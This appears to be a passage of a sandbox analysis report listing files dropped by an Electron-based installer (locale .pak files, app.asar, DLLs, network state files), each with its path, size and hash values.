SHA512 c3069bab640ae43856330bb8b3a0e0a4ca058a68a0fc03b8efc0ce1dc2b517f11380fbc641221e29b4a527d685ece72107fb83cdb9b539390eaf6a30c21bf36d
SSDEEP 12288:RFoy1toomVzNHZ6qI3jxZnit8OQ4E3hQxYy0Cqq5bwp7O0Df89tVq7hUomrOeD13:R/oGMv5U8g213
TLSH
T104B4E6F238DB63CC1193C982AEF4FA198382D976F7530294ED44CE44DE645D74886ABE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lt.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\lt.pak
Size 564KB
SHA256 1bd385b780f3d13d41f8cf782a322e37be889aee273ffde3d8959e0ebcaabd0b
MD5 edb2c872a4fec5367cbe68035ef0ecc7
SHA1 b4d42bcc83c98dda1ea2ef962d097f6fb3d25c71
SHA512 dd801a1aac2242e3f532e968b4c9639a2c8bf3eccc17470d9aa8bd6730ae4be3e7276fb782c7908bb6f87d3ade20a40c644b9db5d2201d96d91fd95ebdf429c9
SSDEEP 12288:tS0lARJMADBoiZ9T39l5GzmjrlCLb6SNU:tplUMfOLl5bjJCL8
TLSH
T1A9C43B006AE3AEFB9B4457CA81E4DAB8CEFD50005727BC61EC69C79AC43BB412564F35
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lv.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\lv.pak
Size 564KB
SHA256 91642c04de64f88a5c49b4eeaf5d627554e60d56fc40e7cd58cd2601b0d3dbf2
MD5 393c296fabe0c4c64a7d6b576d7d2cf7
SHA1 16c0605e5829cde9738e1cd3344a59b74fa1f819
SHA512 067cccb059d4526c104880a26ebf04c7e2498c49c5641abdc91785e859bc0be1475ec58cae9ad1eb076f26fb9215ac246155e123baa13c06a05e4f22a002c2ad
SSDEEP 6144:7627hRQfR8xoF28D/1334NrtVF6v+4q7C4SWwSZubOS5My+BJE9p5gesk/EAYzSS:BwfRwottD24q24skPS5iEr5J/kt19
TLSH
T167C409959EC68FAA4D509DCB732BD122ADCCD740FE07E112ED6D4B3A510F12422B5EE2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ml.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\ml.pak
Size 1.3MB
SHA256 83d187cd70048f4129fa65ba148c74a04a47ee1f14218e7c85b36fe83e87b5e3
MD5 b690b0f01954735e1bcea9c2fb2ac4e4
SHA1 8d98860e202b15a712822322058e80a06c471bb8
SHA512 786f08019a0917d0b3f29aa2d1885db6a6f995990fd8faaf41a9630f8347b4d210a844cc6690a41b4af37d60e11f41fd2675df1a01bab5915e20cd9bc69b4541
SSDEEP 12288:T4iRA2cMmsbbAxW35xSNizxn9mMTOUO6Kfzo+ke54jSO3elhO5T47d3csofr31V:0iRre+Kf6GO3ea5T47isoj3v
TLSH
T1DC559D1BA036CD3B0FD102257B4E2FABCD5B9F9140AF668B5869F2628C59F7D0C99431
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\mr.pak
Size 1.0MB
SHA256 0877f2e75e0b9f5e709f0a0bf7cc793a02ff5bbb28bd6a8b6b6012760c1bbff3
MD5 f26bc5673e02a93212220d71cf1bbac2
SHA1 8d0ab40fc2b35b75f99538951acfbf6a348c73a3
SHA512 9f3a629dfa116cd92892d120f0fdecc5f57043dad232311bdc8c218ae9317f49e655b8b8dc8399639231f2321013190a667d22b6b2735bbcbc375c438dce9aaf
SSDEEP 6144:coTaWOYy9DySyPOzX0nagJGKZ1ssFr/l5MpKxxo:XTkvVBF0nagJnZmsFTl5MpKxxo
TLSH
T19C35C24CF77AF3685DECBC9E36580D3BD8FD21B1C3E9925648E1B3A74884CB401596A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ms.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\ms.pak
Size 484KB
SHA256 c7b56e9ca2f75b4414c13144ff4deee1459c2a7cde79730d863ab234cd4c2f8b
MD5 d22cfc1b78320157685839f14253fa1d
SHA1 0cfcb5c176d708e26bbca2427be611ce6609eb93
SHA512 2eed40c50a63e362dfe2f172d16e4545f5b19c673e71db674bb004e4e6a4cf793ed4a44ee80d86b05aaa6cc4356c207476afdedc2b35017421ea9b9fa6ebc81d
SSDEEP 6144:qcEBfiZipK7nKQMxiSLTRlujsLkUcA95/SnJOMyqlEEIjD:OiZignaxiUluW752cMm
TLSH
T1E2B4B6069EDE3118045843D9D2D96A1B7CDD3333B706AF2B8DA08FB012AE7A53355F99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\nb.pak
Size 471KB
SHA256 96747543d9b2dbfb4482d4c24d7818d366545b2476633ad4fec8cc958ab760d3
MD5 bf9bfdfab1479bb52254329d7aa229ff
SHA1 cd9ff35321731b839ea6e5f31f5de0bfb475666b
SHA512 ba8e62d0a87c532ff46f2129724dd2f1bfdebd99c2606e0b9608cd07841776faeca15d04ec6241020c232d4c07809d718f40cf4ad9231d6a8996d55973486629
SSDEEP 12288:3ky32iWQOep65Op7fs9BZvQRo55d4zlWLFvj:Uy3JWQ1ARvQRo534BW1
TLSH
T116A40883EE86B72EF6A44794F418854B9B6D943CCD98199B94CCC63E09C7EF092BD1C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\nl.pak
Size 484KB
SHA256 c7a18764ca908ec7f66c48cae2be06fef95213d7a5580b45f9bacee474456167
MD5 b525894276852be4ab42ab7044fa164f
SHA1 d3d035522265718def8125f5c4a1d3e74832dc2a
SHA512 36b11f1df92df27b007fd640b589c6b7b30cd889bc297635bdaa40bfcb4332ff20911edfd23ce74c1c8963dd658f77bf4b9af50d3c281717f58eb23a598783bc
SSDEEP 12288:PouAglbWussmgo/5xV5ZtxExSGpXAaOOTn:PPAglbWus95xV5ZzExSGpXAaJD
TLSH
T163B40A17AC9E253E59C0A349F7088FBBBF2AD22CC26CE67D94DDC1381443F6941AD499
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\pl.pak
Size 543KB
SHA256 69e16e41f5fe7fa18557b938874f20cda6879f3cc616ead9a815c1381fe94158
MD5 7b5d41611b92b24ec8b36b66feb11f9a
SHA1 3d6c36f404c29d59a24970585931860453f5c88a
SHA512 16ba52cc799132e4525d220ed595d3969d4cecf163ccea6b62fe2211003b0cc44090c4d384e9cc4e32800181b7f7e0810da5a0d2c908f4625ff8382cfa3c177e
SSDEEP 12288:XWCtqjWoOB/kheU/AGfQfS6HAcbUdP1CUd4e3m/UbMAmw1QhiIB5W/N4VckJ:GPA8zM41Qhp5eE
TLSH
T1BBC46C0E96E58A0E4DB048E6F2E70B7CACDCC808F109D35FE46F4526619B19EC9BE5D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-BR.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\pt-BR.pak
Size 510KB
SHA256 6d54f87f6c8b5e01bd0da9a961236344e95e85c3dc55fc92a34542777d6f6275
MD5 8dabbceb430a6bc190ee344541fa8e2b
SHA1 44c7da04bac8c9ee67c8d6a0eeb491cf7ffd2479
SHA512 4d36d527f1769501d1fce208738028d5ba142716a6243798212d5a2403dc5c950dcb3399e571cf3a11b1f35d845a6ba6798c38074d0ed66c894b1c18ab800159
SSDEEP 6144:Pq0jczfoeA2oO3NBXBLXwEXlyEo5DTJS0qwsRQk9kp:Lcz1oOS53JzsRB9W
TLSH
T124B43C2A6DCA136605229351B74EDB43E5880745FD0ACA8BDCFF4B05A3DCE40DA73BA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-PT.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\pt-PT.pak
Size 512KB
SHA256 a903ca2a8e52f987e23d040de7403b58d925a6c39668d3bc0822fb2aadd34cb1
MD5 4816d83e54beaa2f94c671d56361c04e
SHA1 5cae66c0b7079d778ac87ad48777afd85b172d2f
SHA512 0d3a39e1205ce9366818cb51d38db035b80448dc1e2d2d6bbd7d5df693641582043b45b4a78bbf2334159616187dc85a51e623bb6878b1498d9bc7acd2a6ffab
SSDEEP 6144:3GMuOo/dHdr0fkdBZfieJVJJxhtHLtvxfVCQ5yKdFSRJi:jMHdofkdKQ5yKPSRU
TLSH
T16EB419296EDA132605135341770ADB03FAC86645F80ACACBD9EF0B4672CDF94D6B2F61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ro.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\ro.pak
Size 531KB
SHA256 82e69f505222125ea62f8e90d8030d82a1bd49871192cb4274a8fd9d0e03d577
MD5 938e62fca60d7b54e9c54cdd1f745f06
SHA1 5a61a1ef3ae855ff436c5d7f45b6ec271a5228aa
SHA512 d3f43881fc951c961cfb34babaa6eba2aa9175865dc07542dc529ab1c11d15703c03a7e8193c004b004d13f0a0672bccb2fcdd1cd88f32add159c337281d6d5f
SSDEEP 6144:l3hUyjvPh8WXMQfZLeHooUxxI4QKK8G+515oXfs2U/20O3:BhUyjHWWXMQNqooKxFTK653ok/O3
TLSH
T10CC43D1391C86A972A9152B2B73634D3E88E105DF641D28DA0EEC97D10CD9DBC52EECB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ru.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\ru.pak
Size 872KB
SHA256 d0068b9ddf8a9e6a5b1186bd0e00ed9f09224ed56ba7e653e2d54158d938c6f2
MD5 9ef6fd52dec5613f9e80204a84c7f2ba
SHA1 fbb8c9db815126fca3c62c810432a71b6965f2aa
SHA512 0fb442ef86f75ca2cf58a677bd25ffb7c420f98250fac7f5f25e2272d4e7dc505a5f3eb3665b62bec189496154b05a1462b6f17a0e9aeafc1517b71e2d813953
SSDEEP 12288:QlV3hdS0CfQjRo4YS7yMx/K6NzJ9fdAalWaEqSGsNCz/2nYH8eXN2hVO3j/ESbzq:Qj3hQ0jVu5e6FX
TLSH
T10C158660669E64DE1101F41BDD08BE093CEB45FE3FABA36619642D7F35F2024C63E61A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\sk.pak
Size 548KB
SHA256 f9cd222838721a618c23c8f6493bc9699c795c0063998f1a8d506b4b7a297cdc
MD5 fd001b1b02597bbf16baf3f0baf3c6e4
SHA1 e4c703fc115e02833fe08caab1e62775b5812473
SHA512 0ee991da6b8ba1bcc3cc27abc645af43bb93edddbf182496aafeeb401d71ae10716335ee0197f1987c21b3abb441aaac968b9a76e75ae77fcba4cc48847f5b1d
SSDEEP 12288:WH9r+eIYCk8/qsmkMVkLi4iG+kl5CF0LXT9XLPxt9i7:al+eA/qshLisl5fLxltI7
TLSH
T13CC44D3FDFE6581E8A8D0148EFEA7110FD7E4650894EB0A5D40F368724E26EDCA78E54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\sl.pak
Size 526KB
SHA256 b174c4c49654f7d65d223568c700bfaace74238447ae63171787236ce2aab00e
MD5 ff14d5f9484350396780bea7f3bc64ec
SHA1 de097f12b70b552824de69141d6ee1969275eca4
SHA512 011bcc3980d21e0900d1da334a28b72623b22b527a4fc3d96a8f78fb055dc87cd1433a63d8b4414a0a86cf2ded5833a395214910b17433a0545e04d1ce4875b8
SSDEEP 6144:Tc0Pejkg4yQ9QLAx2j1MRB2xQnnbZNjJ0Kym4ocyxPbPDNs2uGEm5vfFCiv5LGaP:mQuyRB29KBjei5aScvJHjh/i/fzUCqc
TLSH
T170B41C357BA79E0F0DAAA2CAFEB602007FDC045CD256E2A1FC8F33695015A3817BD595
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\sr.pak
Size 811KB
SHA256 a2bc6b064ff1f7b15707f61bd76ddd9d889bd982c4182e9e74272d39c6235c85
MD5 5d70a218b7dcccab0406fa9239ef800b
SHA1 cd231758f84a0d56545d0a234a58757a18a58d0c
SHA512 ef6f71e0d9782b5ed6706d9226c1a7fb5a4323b8dc8de25737c7dcca87d04c16b545372127670de312079be993823f565de1aaaf5ad833bec5baa0856c19b0f3
SSDEEP 12288:DvPGJ3ul7WkmOY9eGIddNSYd41uzQZGOvmAma5XYKxmxE38k37UjeoM/k/0:rGJ3ke5ga5zxz3
TLSH
T1740557A19B9E64DB0501F41BD808BE093DAF41FE3FAB975215601DBD34E20B847B939E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sv.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\sv.pak
Size 473KB
SHA256 48a71912e4843b03358fede7176b2e57ced83d3a1344a92b989886374dbded62
MD5 a813b566c9e630910e6ca946defb7202
SHA1 2e25d2479715a572c096ce19b8dfd7a6da5339eb
SHA512 b348404135e147cef93c246c826107f9df170b294e9d0cbf576d2812d0ff3d2b7794ab5aba55cf729fcf7135a495d2ff591db62fa61e2998290ff02538a0e48c
SSDEEP 6144:XPpx9ttcX4y010O/6gZy/7qU5x+MDVgn4RFczqTW3t3zM+SOqDE/xWcqVTR52NuQ:TlcXZC6ghUDV5D5FJC
TLSH
T194A41C438A20F526FB72530DB608115B0AEDE25CE7E2958DB8D9C83DAD8BD6405FE347
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sw.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\sw.pak
Size 498KB
SHA256 1949953d638f266ce74d84c020174c074780166b880e7c2ec38bc6047bbb8ecc
MD5 9808a9df2da0844b1ce1a2a4213c48d0
SHA1 541f24f006ddb3361ff1e5015f097ab799120fc4
SHA512 66b256e02ce11ea0273cc5bfa78e56faf8b250208d1e868bf4af77cbefd1c891708573d63873a5d02436f884544a6550176afcd3a8220cd35d64b88987e94404
SSDEEP 12288:OCgfZQcyY5QuCERdcUXbQF4I4Cuz5OwLJ8M5gwy5c8bJOm5+9Pe/BrN81E:H+O5Zn
TLSH
T103B4E7629871E0181233518603DDFF731BDCED6C2D2B29935A46BF4F218F98C56ABE49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ta.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\ta.pak
Size 1.3MB
SHA256 6348cc2d385b9808fdf1b815914dbfb26f552da4d10f85b2613a5e6e9f95b8fa
MD5 d50aa6815b63aff8c443622cb8bfd849
SHA1 fd247855e6e428109e7bf2e0018580cc6e0663c8
SHA512 620e2f9ab9998c68d667e32ad9bbfa2569f7a60fbc2a67d7492c6c215af2a1037708e38b4ed7932074d29a140581fe0ffedddb362133a941966044b98eaa50db
SSDEEP 6144:p5Mw0XQS9Dcc9bhr5yzPtRXcA25tm1vYpiMyC:GJcMd5yzfcA25tm1vYpiMyC
TLSH
T109550CCE923EEE890F93288F0319536912986155C07BE3A67C766E1198ECC5DDF3427E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

te.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\te.pak
Size 1.2MB
SHA256 09ab1ac2b69f868539d4f2e59dfea8c3c2f418a5455777e4c91d13c5ee55ab4c
MD5 d262c33a8c2b4949dff36cc1980e5f05
SHA1 e1ad725c388c4a1a386b4ab6170601863c943c29
SHA512 0202f6ac32878926422d542ea96b0bcf8b168f8ec6b928121c368711856fd5f4781a24b15851cdb5892246b355d0dd37504d4599b24e9fe8a723b8dfbfeed29b
SSDEEP 12288:vAmbpM7McKNLC3ot5xd4E6gb0nQWN5Bk3p1FZexiFlJ2wCg9NFq0CrOloXAoPQ9S:o+ppX95/Mea
TLSH
T15C4590023A6AD310DAE70273752CF66C49781B8161D6732C1EAFA357EB87D7E0843676
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

th.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\th.pak
Size 1003KB
SHA256 f06a45f0395c3e42e42c46de2c19a2a104661b47be6f9ee97f8c68b05706ef1e
MD5 a4d1594635d26330ace7054bc025b76d
SHA1 bc4874a6a3b1d1886f05858ef2f653ab3520451c
SHA512 731485b139ba0ed80dac5e582ec36f53a805a867ad33551741b805e851a9d2356fb1894232395d4fdb200defc988bcf6d51e58834b542c398c1012e389953a3d
SSDEEP 12288:0KRmzN9LyZYA1T6z1L/L1XPDJsvnBD67W+v1C5UJ87L3fBj8OlzEdq3RD98GuI9h:0KQnw5r5l
TLSH
T146254C737247D9D479441B5B262A77896B3DAE693F73F8E00089215A73F071A8422EF3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\tr.pak
Size 509KB
SHA256 676d46d19d1673eeff4f5e908aec3b53a6273c440e69e7d655ced6c70531cb9a
MD5 193f0c0a8218f05657e2590ea4ee6004
SHA1 dd3ffd7f67f72de879903a231271c20aee56f695
SHA512 28606d710d44c9a82c2849fa5ef989bac1afab53cdea99a825f80aa41dbd38a9ad6f0f44935f45439922ca2bdddc89c61f8ffcb999aa13fa45558551d5216e1d
SSDEEP 6144:OnGtNU8tnxq6Sz6MJgrZXz7qqcQSYOPWG4age35U3/R+yi1YRed/AM1w/KvG6m:OnGNnxqJh+Jk/WGd5U3/J
TLSH
T178B4E98178EF381C8BB9278BD3E94666F89F0766F331E4469A268636774535303E760C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\uk.pak
Size 870KB
SHA256 29d68d90512ee9952635c7e074d5ab210531d93ae24c11a8f91bca20b685e9a2
MD5 83e5f0092b6d72403b60fe0e1e228331
SHA1 989ed480b7ef55dfc9ccfbef1a5b9b0e104693d8
SHA512 9895928ee516db7d4395b2788135a814031b9ba45e3a837e633bc253b08d6f380e4078d4d3fd51ae37502a39ff45a0166969fb62365e890f4960a51040b20941
SSDEEP 12288:OnyGlcHZ1U6nnzKT0hsEiwIt35GB3IjZAmXEN7OucLNiXEqqb6Red:OyGlNMi5rEo
TLSH
T19615A9A19A9D58DF0106F05BE84C7A0D7DA741FE7FA6471625A43DBF38F20248A3C35A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ur.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\ur.pak
Size 761KB
SHA256 2520ba8471c840aa075075524c4ad2bde10f43fa7a1b623aa14555180ecd30ef
MD5 29403f3d5c8f6ae2a768de2fbe8b368e
SHA1 da83015565980ea1a24f5493be6311f06427269e
SHA512 a0709280adec39633ca19daf9f8bac6c17a999101246778a63cd9e172dbea2f281b20ce197290c4af6c7601ee7956da42f17e31461a1bd8b8a4bce3c36dc87b7
SSDEEP 12288:Yf9virukH8PG7ODK5y6/eXE5hwbEFfW+BJnRQYrFwadcJKwUcumco/9NjjFpvM1:Yf9viJN51Wg
TLSH
T139F40FD2E7BC96B24A21D92780D33C34CB635F13D34AF286E56106C54E9A0139F6DE7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vi.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\vi.pak
Size 602KB
SHA256 25aeee59775ae38b21a091107022312fc228f96dbea906042bf3626b7cf86b98
MD5 e088be14dded779f50feabc4906d5ae7
SHA1 0eeca2c7ea82a03b6373c84adf1a890f29e18b05
SHA512 af9d1e415a6d06c28df9abaae1f337bf4dd3e323dfd5560df5fb35d01c6801b9145072ee85ab4c524c489fb6cdea956ce327b8c4f6820197d76fc2f33171ca3d
SSDEEP 12288:tvN+cBwJGroEw/au9nPgsHvL04vCFsN91xe5c8hp6IDkivwziMHq3wtk5:tF+cBwJGiawPgsHT04QP5c8r6hivKiMY
TLSH
T114D4841117E0702580AC553EC6CE540E6FCAE42FF7C18FE56FE429757A221A46F21BAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-CN.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\zh-CN.pak
Size 435KB
SHA256 6a9a1f5b7674da36f20cb76af7e3e75e9e56873539e8a3b32895ebba439af83a
MD5 d1145f2dcb13c5ba797df5a0792553c8
SHA1 e8d9604300d6413fc896d252a0261be2dfdebfbd
SHA512 f54adffc7d40866fd53dbb238687116d46354f79580877b5d4d93840494e604deaeaeb7e825f6a00d020f3c58d1fb9df8af667feb64c86f243ecab57765623e9
SSDEEP 6144:UBs0tawPNPvzgIa+X7956i0dhpDt5p6LNuhe39w14lW:UTtjP5vz1ao56i0dHt5MLNuhe39m
TLSH
T193947FA911E8BDEC044640E03729627D7C40B60BF667AF766DD248DD2BA2F9D0717E0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-TW.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\locales\zh-TW.pak
Size 430KB
SHA256 6a43c8fac5a0ce7c7a21b30ac7bc2167488e17c81c76c00f0b92b49e9e46e469
MD5 1eb532e97b84db33a50055bbd7d36200
SHA1 7aaf0560a16a9754059871a000d237964f3ab0c8
SHA512 c946d82bd6ced6e61b35acaf7ace1a61f226c4891caaeeeec9ce4a3ab45e6f43c35dbb388d6d5fa925ed020d7d10f951fa2048269d0585ad3b723f5ad8f4eabc
SSDEEP 6144:kXS7RfHbcTzD+J1ke82TuVnQh2Y5fHIzwHobAy+77zeJTs:kGR4TzVdnQh2Y5fHIzpZS7z
TLSH
T109947DA609FBDAEF0901F884B7CD562E7C8B746CDD373636FC4918D82E6AF540A5104A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\resources.pak
Size 5.1MB
SHA256 1d241f5d4403a6e802e898c61e4753f8508ae4dda8fcb7750558ec1ecade52c6
MD5 0e69910860463d5045ec257234bd8dd4
SHA1 33c923c33129d1dccf0bb2dcbe8af983a7000444
SHA512 f6bb7c7b51bb202877739801498522095637caf8a03e2e1f2c6319fede3d3ca656f552061e171ec5e35e176c267fe278c326805d760add1371590bed58e12375
SSDEEP 98304:Ct1j25juJgWPVcz+cd31rJ7JBXbwHgf3IvVrwrWBpcdmTHWCF3UlfPcauPFcHNp:Ctp8CJPdB831FJ5wHwOVkrWBQmTHWo0l
TLSH
T1EE363320F6385C36D0F0A2BE816812738B39D8139665781DB1DF932C5F7CA5E85B47AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\resources\app.asar
Size 14.6MB
SHA256 0a63fe8057118c5296fa559a802651db989b90ae8adfe9d1235f0b7998df1bad
MD5 a8bae5c5cef117c18dad8f222942962e
SHA1 c604170df1d673ba61c0ffebc6a970f49e458053
SHA512 8dfe477f441302472b4c34450e699997e377f9b82ef224d615d7b8a7689538c0222076d6e82c01b2304851f26d6b219023388ced7c3444ee10581245a3746081
SSDEEP 393216:9dBPLBWAvr8cU17Qm+jsUo0sZP2N8Ax3BFRb3:bFLEAD8P7Qm56x/Rb3
TLSH
T145F6332C7F72544B5F1DC7C250097E8376BE262EE4C15AD8D9825F21A0923EE45AE23F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snapshot_blob.bin

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\snapshot_blob.bin
Size 270KB
SHA256 b6bea91727efb8c88e7c059856553d3a47abd883e60dd60efc01b04dc6eec621
MD5 d20922aefcad14dc658a3c6fd5ff6529
SHA1 75ce20814bdbe71cfa6fab03556c1711e78ca706
SHA512 dbd63a9f01feb3c389c11b55d720b5d689558626041fb1dd27ded2be602e5e2a8d210f785fde025d7b9959f81de3df7fef06981269b58be564df05aec190dd1c
SSDEEP 3072:FPXttcgbBDoChde06wbRMYKHUeynXtxZ4fQe1:tXPh9oCWCNMXo6
TLSH
T12B445493B180DF27D12536B4B8CFA58A6126712A7F86420B3779B3BD3F712722F05166
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\v8_context_snapshot.bin
Size 627KB
SHA256 2db4a98abe705ef9bc18e69d17f91bc3f4c0f5703f9f57b41acb877100718918
MD5 1e4da0bc6404552f9a80ccde89fdef2b
SHA1 838481b9e4f1d694c948c0082e9697a5ed443ee2
SHA512 054917652829af01977e278cd0201c715b3a1280d7e43035507e4fa61c1c00c4cd7ed521c762aebd2ea2388d33c3d4d4b16cee5072d41e960021b6f38745a417
SSDEEP 6144:LlAKlrnVVc/eK7cPg9oCWCNM+MFjfjfGJCWXecRvUsoA4EytPcAzCYY:LZ0t7cP+Yz7Vcrz
TLSH
T176D48FA3B345CF67C1642DB0BACAD656B5B43449BF4A062B7368A3BE37396311F14072
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\vk_swiftshader.dll
Size 5.0MB
SHA256 680ea3717671c896d516517ff322976ab708f18862135be4216a27ad57353dcc
MD5 583b1d71cd7b847ba02d734c508cd92f
SHA1 d63966aeafa951d51967620c606e9b97399699c4
SHA512 cbb0659ccac9344ed9bb151443a30c106711fa1b15234e6f1225ef28a679c6b3f0a24a6ca1d9baff46155c39ff4e08e3ac96e1da32d665be9a5728956012f193
SSDEEP 49152:yO6ftECL3Zdon2+a/EgBqB1y91lxfAV7xWV9MzaNZ8m8Lg1d7RXmVEZvMUn0HjyD:yLftMUSogaEm5hZdIOlEbRaB3YI7
TLSH
T10E363813B2858199F05DD5794B5BA632F632F8801B72B6DF52A00F192E37FE06B39B05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Local\Temp\nsyC2F.tmp\7z-out\vulkan-1.dll
Size 925KB
SHA256 d5df2f59cc8b32abd6178250e7d1370a7f37270cc727449e21778080b5e29cd2
MD5 47af18d68dc7cf271f0a92707f783f64
SHA1 64594e92a1cd7042cf6367b1843abed210db3d78
SHA512 2e8fefeccc25e5fcb448fd874f99b8d1466a8148ffe80e1f6ac2105d18bb93e529681ff0ba38e515f52ed4df9ac091fee0782afe5e093fd83c3045a60409fc10
SSDEEP 24576:Ty+lCO+5ia/1DW6pb9MLtX6Z5WdDYsH26g3P0zAk7o34:TymVqXpbId6Z5WdDYsH26g3P0zAk7oo
TLSH
T171156D139A94456AD476D034C8C28607CAB178921726B9CF03685B087F6FFF4777EB2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

default.dic

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\uk-UA\default.dic
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
Size 300B
SHA256 36f86cbd8f2d165af06b8d4bbf4afe436a3178b50cc1206276c25cc9fc791639
MD5 985f1eb7c47fd13ba68c6b4d85ae59c2
SHA1 5595e5e6a63923c3df97cdc66ce84f8736d74ffe
SHA512 0555e0834d7e61558addaff780dadec4e3976ccff74b4f388f3f15da75650337e5921b1fd5a5f018f83443d97fdc924ce92ec6aa0dff714e282d2b7424ccee7b
TLSH
T1F3E07D96C1D45CBE064143F016152953C1BE094943183D06C5D4AB1E43A147C490044F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
Size 451B
SHA256 7c52688715bd4d5d4ffa02c25d8e6b15c768dd7f038b8f66e84c2085e49406e1
MD5 2c7aedb380bb4b5a97106f9fb32a00e5
SHA1 468dcabd8416e146ec3a0b68a65d4e636e8e4a8d
SHA512 63d74e91c2363b6df815fc2e1fbb210e0f537bc27f1e64cb4fa6b6f37a3cc2a20391b5afc7dc766bfa1ec4207d95fb89fcc41bdeef50e88f06af3d26219247ec
TLSH
T14EF05C96D3D449BE459613F01B313453C1AE091C41183D0789D4EB4E43E147D560154F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
Size 451B
SHA256 31fb97ebbab5ea96ed59a923156d7876b9e6bb6b34d09ea7a3618529f51ea2c7
MD5 95781e98ca63ce874852d008d071ff28
SHA1 06cbb172e47d6a86c97269b48e68202a5f048843
SHA512 259a4ab058d7fa7d1da68836ef70cc0afe11ce52074cdf720aff8d7f2d73d6f0be29b4b0fecba30af8e0c3d37714013509626ad88312b0fd27fab1b741f0a434
TLSH
